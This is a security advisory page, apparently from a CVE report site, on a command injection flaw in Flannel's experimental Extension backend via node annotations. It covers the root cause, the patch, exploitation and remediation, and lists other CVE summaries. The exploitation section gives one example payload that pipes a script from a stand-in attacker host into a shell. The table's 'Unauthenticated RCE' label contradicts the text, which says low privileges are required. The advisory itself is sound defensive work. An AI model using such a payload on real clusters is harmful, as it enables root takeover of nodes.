CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-32241

CVE-2026-32241: Command Injection in Flannel Experimental Extension Backend

Amit Schendel
Amit Schendel
Senior Security Researcher

Mar 27, 2026·6 min read·51 visits

Executive Summary (TL;DR)

The Flannel experimental Extension backend evaluates unsanitized node annotation data through a shell wrapper. Attackers with RBAC permissions to modify Node objects can inject shell commands, achieving root-level execution on the Kubernetes node.

Flannel versions prior to 0.28.2 contain a high-severity command injection vulnerability in the experimental Extension backend. Unsanitized Kubernetes Node annotations are passed directly to a system shell, permitting an attacker with node modification privileges to execute arbitrary commands with root permissions on the host.

Vulnerability Overview

Flannel is a network fabric designed for Kubernetes clusters. It supports multiple backends to manage container networking, including an experimental Extension backend. This backend allows administrators to prototype custom networking logic using external scripts or binaries.

Versions of Flannel prior to 0.28.2 contain a command injection vulnerability (CWE-77) within this Extension backend. The flaw occurs when the backend processes subnet lifecycle events and reads configuration data from Kubernetes Node annotations. The application fails to sanitize this input before passing it to a system shell.

An attacker with low-level Kubernetes RBAC permissions can exploit this flaw by modifying a Node's annotations. The vulnerability yields arbitrary command execution with root privileges on the underlying host node. The attack complexity is elevated because the cluster must explicitly enable the experimental Extension backend.

Root Cause Analysis

The root cause lies in the Extension backend's reliance on shell wrappers to execute user-defined hooks. Flannel triggers commands during lifecycle events such as PreStartupCommand, PostStartupCommand, SubnetAddCommand, and SubnetRemoveCommand. These hooks are designed to pass relevant subnet data to external scripts for processing.

In vulnerable versions, the application reads data from the flannel.alpha.coreos.com/backend-data Node annotation. The application unmarshals this JSON data and pipes it directly into the configured command. Crucially, the execution mechanism utilizes the sh -c pattern to evaluate the command string.

Passing unsanitized, user-controlled input into a shell wrapper creates a textbook command injection condition. The shell interpreter evaluates metacharacters within the input stream. An attacker can use semicolons, backticks, or command substitution constructs to break out of the intended command context and execute arbitrary system commands.

The vulnerability requires the attacker to control the contents of the backend-data annotation. Kubernetes API access controls govern this annotation. Once the attacker injects the payload, the Flannel daemon automatically processes the annotation update or the next subnet event, triggering the payload execution.

Code Analysis

Analysis of the vulnerable code reveals the unsafe command execution pattern in the subnet event handler. The runCmd function wraps the execution logic and accepts the attacker-controlled backendData as input. This input is formatted and passed to the sh binary along with the user-defined command string.

The vulnerable implementation operates identically to the following pattern:

// Vulnerable execution pattern
cmd_output, err := runCmd([]string{
    fmt.Sprintf("SUBNET=%s", evt.Lease.Subnet),
    fmt.Sprintf("PUBLIC_IP=%s", evt.Lease.Attrs.PublicIP)},
    backendData, // Attacker-controlled JSON payload
    "sh", "-c", n.subnetAddCommand)

The application passes the backendData directly to the shell, allowing the shell to parse and execute any embedded metacharacters.

Commit 08bc9a4c990ae785d2fcb448f4991b58485cd26a mitigates this flaw by eliminating the shell wrapper entirely. The patch transitions the execution model to use the os/exec package directly. Commands are split into discrete arguments using strings.Fields, preventing the operating system from interpreting shell metacharacters.

The patched code also introduces a custom expandVars function to handle environment variable interpolation safely.

// Patched implementation excerpt
func expandVars(envMap map[string]string, args []string) []string {
    expanded := make([]string, len(args))
    for i, a := range args {
        expanded[i] = os.Expand(a, func(key string) string { return envMap[key] })
    }
    return expanded
}

This function uses os.Expand with a strictly controlled environment map, ensuring that user-provided data cannot manipulate the command structure.

Exploitation Methodology

Exploiting CVE-2026-32241 requires network access to the Kubernetes API server. The attacker must possess credentials or a service account token with RBAC permissions that allow updating Node resources. Specifically, the attacker needs the ability to modify Node annotations.

The attacker initiates the attack by crafting a malicious payload formatted as JSON. This payload includes standard shell command separators followed by the target command. The attacker writes this payload to the flannel.alpha.coreos.com/backend-data annotation on a target Node object.

An example payload takes the form {"key": "value; curl http://attacker.com/shell.sh | sh;"}. Once the Kubernetes API server accepts the Node update, the Flannel daemon running on the respective node observes the change. The daemon unmarshals the annotation and invokes the Extension backend hook.

The Flannel process passes the payload string to the shell wrapper. The shell executes the benign portion of the payload, reaches the semicolon, and subsequently executes the attacker's injected command. The command runs within the context of the Flannel daemon, which typically operates as root on the host system.

Impact Assessment

Successful exploitation of this vulnerability yields complete compromise of the affected Kubernetes node. The Flannel daemon requires elevated privileges to manage host networking interfaces, routing tables, and iptables rules. Consequently, the injected command executes with root privileges on the underlying host operating system.

An attacker with root access to a Kubernetes node can access sensitive files, including Kubelet credentials, pod service account tokens, and mounted secrets. These credentials facilitate lateral movement across the cluster. The attacker can escalate privileges within the Kubernetes control plane or access data residing in other pods scheduled on the compromised node.

The CVSS v3.1 vector is CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H, resulting in a base score of 7.5 (High). The high attack complexity (AC:H) reflects the specific configuration requirement: the cluster must utilize the experimental Extension backend. The low privilege requirement (PR:L) indicates the need for basic Kubernetes API access.

The impact remains isolated to clusters explicitly configured to use the experimental backend. Clusters utilizing the default vxlan, wireguard, or host-gw backends are not vulnerable to this specific attack path.

Remediation and Mitigation

The primary remediation strategy requires upgrading the Flannel daemonset to version 0.28.2 or later. Administrators should apply the updated manifests to the Kubernetes cluster. The daemonset upgrade will restart the Flannel pods across all nodes, applying the patched os/exec implementation.

Administrators who cannot immediately patch the deployment must disable the experimental Extension backend. Flannel supports several stable, production-ready backends that do not execute user-defined scripts. Switching the network configuration to use vxlan or wireguard completely eliminates the vulnerable code path.

Defense-in-depth measures include restricting Kubernetes RBAC permissions. Administrators should audit roles and clusterroles to ensure that only trusted identities possess the ability to modify Node resources. Removing the patch and update verbs for Node objects from untrusted service accounts limits the attack surface.

Security teams should monitor Kubernetes audit logs for suspicious modifications to Node annotations. Specifically, alerts should trigger on unauthorized changes to the flannel.alpha.coreos.com/backend-data key. Detecting shell metacharacters within this annotation provides a strong indicator of attempted exploitation.

Official Patches

flannel-ioGitHub Security Advisory
flannel-ioFlannel v0.28.2 Release Notes

Fix Analysis (1)

Technical Appendix

CVSS Score
7.5/ 10
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Affected Systems

flannel-io/flannel < 0.28.2

Affected Versions Detail

Product
Affected Versions
Fixed Version
flannel
flannel-io
< v0.28.2v0.28.2
AttributeDetail
CWE IDCWE-77
Attack VectorNetwork
Privileges RequiredLow (Node Annotation Access)
CVSS v3.1 Score7.5 (High)
Exploit StatusUnauthenticated RCE (Host Root)
Patched Versionv0.28.2

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
CWE-77
Command Injection

Improper Neutralization of Special Elements used in a Command ('Command Injection')

Vulnerability Timeline

Official fix commit pushed to the Flannel repository.
2026-03-09
Vulnerability publicly disclosed and CVE-2026-32241 assigned.
2026-03-27
Version v0.28.2 released containing the patch.
2026-03-27

References & Sources

  • [1]NVD - CVE-2026-32241
  • [2]GitHub Advisory: GHSA-vchx-5pr6-ffx2
  • [3]Fix Commit: 08bc9a4c990ae785d2fcb448f4991b58485cd26a

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•43 minutes ago•CVE-2026-69241
5.4

CVE-2026-69241: Stored Cross-Site Scripting via Unsanitized SVG Upload in Filament Curator

Filament Curator, a media picker plugin for Filament panels in Laravel applications, contains a Stored Cross-Site Scripting (XSS) vulnerability in versions prior to 3.7.9, 4.1.2, and 5.1.2. The application accepts image/svg+xml uploads by default and stores them on disk without stripping executable XML markup. When a panel user opens an uploaded SVG via the View action, the file renders as a top-level document in the browser, executing embedded JavaScript within the origin of the Filament application.

Alon Barad
Alon Barad
2 views•9 min read
•about 4 hours ago•CVE-2026-63182
8.1

CVE-2026-63182: XML Signature Wrapping Authentication Bypass in LightSAML

CVE-2026-63182 is a high-severity XML Signature Wrapping (XSW) vulnerability in LightSAML (litesaml/lightsaml), a PHP library implementing SAML 2.0 data models and cryptographic verification. An architectural discrepancy between how LightSAML deserializes direct child assertions and how the underlying robrichards/xmlseclibs library resolves XML document fragment identifiers allows an attacker with a valid signed assertion to forge arbitrary SAML identity claims and bypass authentication.

Alon Barad
Alon Barad
4 views•11 min read
•about 5 hours ago•CVE-2026-119351
6.3

CVE-2026-119351: Cross-Context Cache Leak via Delayed Inner Stream Metadata in Next.js

A race condition and improper synchronization vulnerability (CWE-362) exists in Next.js versions 16.2.0 prior to 16.4.5 when Cache Components ('use cache' directive) are enabled. When an outer cached function calls a nested cached function that reads dynamic root parameters via 'next/root-params' and returns an object containing pending promises, React Flight can resolve and deliver the ready portion of the payload before the inner cache finishes publishing its root parameter dependencies. Consequently, the outer cache entry finalizes and persists under a cache key that omits the root parameter dependencies, causing the first written cache entry to be served across requests with different root parameter values and bypassing nested cache invalidation rules.

Amit Schendel
Amit Schendel
7 views•10 min read
•about 6 hours ago•CVE-2026-68934
8.7

CVE-2026-68934: OS Command Injection in code-review-mcp-server via Unsafe Shell Execution

A remote OS command injection vulnerability (CWE-78) exists in code-review-mcp-server prior to version 1.5.3. The application passes caller-controlled tool parameters directly into Node.js child_process.execSync() calls without proper neutralization. An attacker or compromised LLM agent invoking tools such as getLocalGitDiff, codeReview, createPR, or getPRTemplate can inject arbitrary shell commands that execute with the privileges of the MCP server host process.

Alon Barad
Alon Barad
7 views•11 min read
•about 7 hours ago•CVE-2026-86046
7.1

CVE-2026-86046: Arbitrary File Write via Path Traversal in termux-sync Restore Workflow

A path traversal vulnerability (CWE-22) in termux-sync prior to version 1.2.4 allows an attacker to overwrite arbitrary files within the Termux environment during the backup restoration process. The flaw stems from the application trusting attacker-controlled extraction paths defined in the backup's manifest.json file, failing to validate archive members against directory traversal sequences during tar extraction, and using unsanitized backup names when constructing temporary directories. If a user restores a malicious backup archive from local storage, shared folders, GitHub, or Google Drive, an attacker can overwrite sensitive configuration files such as shell startup scripts or local binaries, resulting in arbitrary code execution under the privileges of the Termux user.

Amit Schendel
Amit Schendel
6 views•11 min read
•about 8 hours ago•CVE-2026-129296
6.5

CVE-2026-129296: Path Traversal in SpamScope mail-parser Attachment Extraction

SpamScope mail-parser versions 3.8.0 prior to 4.6.0 contain a path traversal vulnerability (CWE-22) within the write_attachments() and write_sample() functions. The library passes untrusted attachment filenames directly into os.path.join() without stripping directory components, validating path containment, or verifying symbolic links. An attacker can send a crafted email containing relative path traversal sequences or absolute filesystem paths in the Content-Disposition header to write or overwrite arbitrary files accessible to the parsing process.

Amit Schendel
Amit Schendel
4 views•9 min read